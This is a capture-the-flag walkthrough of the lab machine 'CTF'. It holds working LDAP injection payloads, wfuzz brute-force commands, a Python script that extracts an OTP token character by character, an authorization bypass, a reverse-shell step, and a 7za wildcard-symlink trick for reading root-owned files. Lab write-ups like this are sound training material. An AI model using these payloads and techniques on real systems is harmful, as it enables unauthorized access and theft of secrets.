CTF

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.122 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Fri May 19 07:52:16 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.15s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri May 19 07:52:43 2023 -- 1 IP address (1 host up) scanned in 26.70 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.122 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Fri May 19 07:53:37 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fdadf7cbdc421e437db3d58bce63b90e (RSA)
| 256 3def345ce5175e06d7a4c886cae2dffb (ECDSA)
|_ 256 4c46e2168a14f6f0aa396c9746dbb440 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: CTF
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
| http-methods:
|_ Potentially risky methods: TRACE
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 19 07:53:45 2023 -- 1 IP address (1 host up) scanned in 8.64 seconds
The website shows a message saying that any host that tries to bruteforce the site will be banned.

There is a login page that shows whether the user provided exists or not.

There is a comment in the source code that says that the token string necessary to create OTP codes is 81 long.

If we try to inject some payload, we'll see that nothing will appear. Maybe it is because there are some characters that are not allowed.

Let's try to bruteforce special characters, and see which ones are not accepted by the server. First, check out how to requests are being made.

Now, using the doble-uri-hex.txt dictionary, we'll be able to see which characters are the ones not accepted by the server.
wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/doble-uri-hex.txt -d 'inputUsername=FUZZ&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 256
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 68 L 229 W 2810 Ch "%2500"
000000041: 200 68 L 229 W 2810 Ch "%2528"
000000043: 200 68 L 231 W 2822 Ch "%252a"
000000042: 200 68 L 229 W 2810 Ch "%2529"
000000093: 200 68 L 229 W 2810 Ch "%255c"
Total time: 0
Processed Requests: 256
Filtered Requests: 251
Requests/sec.: 0
These are double URL encoded special characters. Here are the decoded versions.
%2500 -> \0
%2528 -> (
%252a -> *
%2529 -> )
%255c -> \
Exploitation
These characters are commonly used in LDAP servers. We could try to make an LDAP Injection. We can suppose that the LDAP query looks something like this.
(&
(&
(inputOTP=1234)
(inputUsername=admin)
)
(&
()
()
)
)
We could try to log in with the username *)))%00
, this way we make the query true, and comment the rest of the query.
(&
(&
(inputOTP=1234)
(inputUsername=*)))%00)
)
(&
()
()
)
)
Let's intercept a login request with BurpSuite, and send it to the repeater. Then, send the payload as the username. Make sure to double URL encode the payload to make it work.
inputUsername=%252a%2529%2529%2529%2500&inputOTP=test

As we can see above, we get the message Cannot login
. Now we know that when we get that message, the query is true. Now we could enumerate usernames from the LDAP server. We need to add each letter of the alphabet at the beginning of the payload. Once we find the first letter, we'll add the second one next to it. The first letter is an l
.
wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=FUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 26
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000012: 200 68 L 231 W 2822 Ch "l"
Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0
The second letter is a d
.
wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=lFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 26
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000004: 200 68 L 231 W 2822 Ch "d"
Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0
If we keep doing this over and over again, we'll see that the username is ldapuser
, because there are no more letters.
wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=ldapuserFUZZ%252a%2529%2529%2529%2500&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 26
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 1.576919
Processed Requests: 26
Filtered Requests: 26
Requests/sec.: 16.48784
We have retrieved the username, but could also get LDAP attributes. I will be using the LDAP_attributes.txt dictionary from PayloadAllTheThings. We could enter a username like )(FUZZ=*)))%00
, to enumerate attributes.
(&
(&
(inputOTP=1234)
(inputUsername=ldapuser)(FUZZ=*)))%00)
)
(&
()
()
)
)
There are a bunch of attributes available.
wfuzz -c -t 1 --hw=233 -w LDAP_attributes.txt -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 27
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 68 L 231 W 2822 Ch "cn"
000000004: 200 68 L 231 W 2822 Ch "commonName"
000000013: 200 68 L 231 W 2822 Ch "mail"
000000015: 200 68 L 231 W 2822 Ch "name"
000000020: 200 68 L 231 W 2822 Ch "pager"
000000017: 200 68 L 231 W 2822 Ch "objectClass"
000000025: 200 68 L 231 W 2822 Ch "uid"
000000022: 200 68 L 231 W 2822 Ch "sn"
000000024: 200 68 L 231 W 2822 Ch "surname"
000000027: 200 68 L 231 W 2822 Ch "userPassword"
Total time: 0
Processed Requests: 27
Filtered Requests: 17
Requests/sec.: 0
The pager
attribute looks interesting. It could contain the 81 characters token needed to create OTD codes. We will need to inject the payload ldapuser)(pager=FUZZ*)))%00
as the username.
(&
(&
(inputOTP=1234)
(inputUsername=ldapuser)(pager=a*)))%00)
)
(&
()
()
)
)
The first number of the token is a 2
.
seq 0 9 > digits
wfuzz -c -t 1 --hw=233 -w digits -d 'inputUsername=ldapuser%2529%2528pager%253dFUZZ%252a&inputOTP=test' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 10
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 68 L 231 W 2822 Ch "2"
Total time: 0
Processed Requests: 10
Filtered Requests: 9
Requests/sec.: 0
As the token is 81 characters long, i made a python script that automates this whole process.
#!/usr/bin/python3
import requests
from pwn import *
import string
def def_handler(sig, frame):
print("\n[!] Quiting...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
digits = string.digits
main_url = "http://10.10.10.122/login.php"
proxy = {'http': 'http://localhost:8080'}
def ldapi(query, chars):
counter = 1
trigger = 0
element = ""
while trigger == 0:
for char in chars:
p2.status("%s%s" % (element,char))
payload = query.split("FUZZ")
data = {
'inputUsername': payload[0] + element + char + payload[1],
'inputOTP': 'test'
}
r = requests.post(main_url, data=data, proxies=proxy)
if "Cannot" in r.text:
element += char
counter += 1
p2.status(element)
break
else:
if char == chars[-1]:
p2.status(element)
trigger = 1
time.sleep(1)
return element
def makeRequest():
p1 = log.progress("LDAP Injection")
time.sleep(1)
global p2
p2 = log.progress("Token")
time.sleep(1)
query = 'ldapuser%29%28pager%3dFUZZ%2a'
token = ldapi(query, digits)
log.info("Token: %s" % token)
p2.status("Finished")
if __name__ == '__main__':
makeRequest()
Run the script to get the token.
python exploit.py
[...../..] OTP: Finished
[*] OTP: 285449490011357156531651545652335570713167411445727140604172141456711102716717000
Now we can create OTP codes using that token. Make sure to have the same time configured as the server.
stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000
45657304
Now we have everything needed to log in.

Once logged in, we'll see one field which allows us to execute commands. But if we try to execute any command we'll see an error saying that we must be a member of the root
or adm
group to issue commands.

This might happen because there is a compararison when we log in. But we could log in with a payload such as ldapuser)))%00
, which will comment anything after the username so this restriction doesn't apply.
inputUsername=ldapuser%2529%2529%2529%2500&inputOTP=45657304

This way we can bypass the restriction and run commands in the server.

Time to get a shell. First, let's set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Now, send a reverse shell using the website to get access to the server as apache
.

Listening on 0.0.0.0 4444
Connection received on 10.10.10.122 52220
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
Privilege Escalation
There is one backup
directory in /
.
ls -la /
total 44
drwxr-xr-x. 18 root root 4096 Sep 20 2022 .
drwxr-xr-x. 18 root root 4096 Sep 20 2022 ..
drwxr-xr-x. 2 root root 4096 May 19 21:30 backup
lrwxrwxrwx. 1 root root 7 Sep 20 2022 bin -> usr/bin
drwxr-xr-x. 5 root root 4096 Sep 20 2022 boot
drwxr-xr-x. 19 root root 3040 May 19 16:29 dev
drwxr-xr-x. 92 root root 8192 Sep 20 2022 etc
drwxr-xr-x. 3 root root 22 Jul 30 2018 home
lrwxrwxrwx. 1 root root 7 Sep 20 2022 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Sep 20 2022 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 Apr 11 2018 media
drwxr-xr-x. 2 root root 6 Apr 11 2018 mnt
drwxr-xr-x. 3 root root 16 Jul 30 2018 opt
dr-xr-xr-x. 128 root root 0 May 19 16:29 proc
dr-xr-x---. 8 root root 4096 Sep 20 2022 root
drwxr-xr-x. 32 root root 960 May 19 16:29 run
lrwxrwxrwx. 1 root root 8 Sep 20 2022 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 Apr 11 2018 srv
dr-xr-xr-x. 13 root root 0 May 19 16:29 sys
drwxrwxrwt. 12 root root 4096 May 19 17:52 tmp
drwxr-xr-x. 13 root root 4096 Jul 30 2018 usr
drwxr-xr-x. 21 root root 4096 Jul 30 2018 var
This directory contains a bunch of .zip
files, and .log
file and a bash script.
ls -la /backup
total 56
drwxr-xr-x. 2 root root 4096 May 19 21:31 .
drwxr-xr-x. 18 root root 4096 Sep 20 2022 ..
-rw-r--r--. 1 root root 32 May 19 21:21 backup.1684524061.zip
-rw-r--r--. 1 root root 32 May 19 21:22 backup.1684524121.zip
-rw-r--r--. 1 root root 32 May 19 21:23 backup.1684524181.zip
-rw-r--r--. 1 root root 32 May 19 21:24 backup.1684524241.zip
-rw-r--r--. 1 root root 32 May 19 21:25 backup.1684524301.zip
-rw-r--r--. 1 root root 32 May 19 21:26 backup.1684524361.zip
-rw-r--r--. 1 root root 32 May 19 21:27 backup.1684524421.zip
-rw-r--r--. 1 root root 32 May 19 21:28 backup.1684524481.zip
-rw-r--r--. 1 root root 32 May 19 21:29 backup.1684524541.zip
-rw-r--r--. 1 root root 32 May 19 21:30 backup.1684524601.zip
-rw-r--r--. 1 root root 32 May 19 21:31 backup.1684524661.zip
-rw-r--r--. 1 root root 0 May 19 21:31 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
The honeypot.sh script contains the following code. As we can see, it is doing a backup ZIP file of the content of /var/www/html/uploads
.
cat /backup/honeypot.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
There is a way to read the root flag. As we can see it is using the 7za
tool with *
. We need write permissions in /var/www/html/uploads
.
ls -ld /var/www/html/uploads
drwxr-x--x. 2 apache apache 6 Oct 23 2018 /var/www/html/uploads
We can create files. The idea is to create the @test
file, and then create a symbolic link from the root flag to the test
file.
touch /var/www/html/uploads/@userflag
ln -s -f /home/ldapuser/user.txt /var/www/html/uploads/userflag
touch /var/www/html/uploads/@rootflag
ln -s -f /root/root.txt /var/www/html/uploads/rootflag
Finally, check out the error.log
file, and then all we have to do is reap the harvest and take both the user and root flag.
tail -f /backup/error.log
WARNING: No more files
fb220c75acacbedfa7a63f06924e0b5b
WARNING: No more files
d679443b6f2206030fd3a3e7e2cae1a4
Last updated
Was this helpful?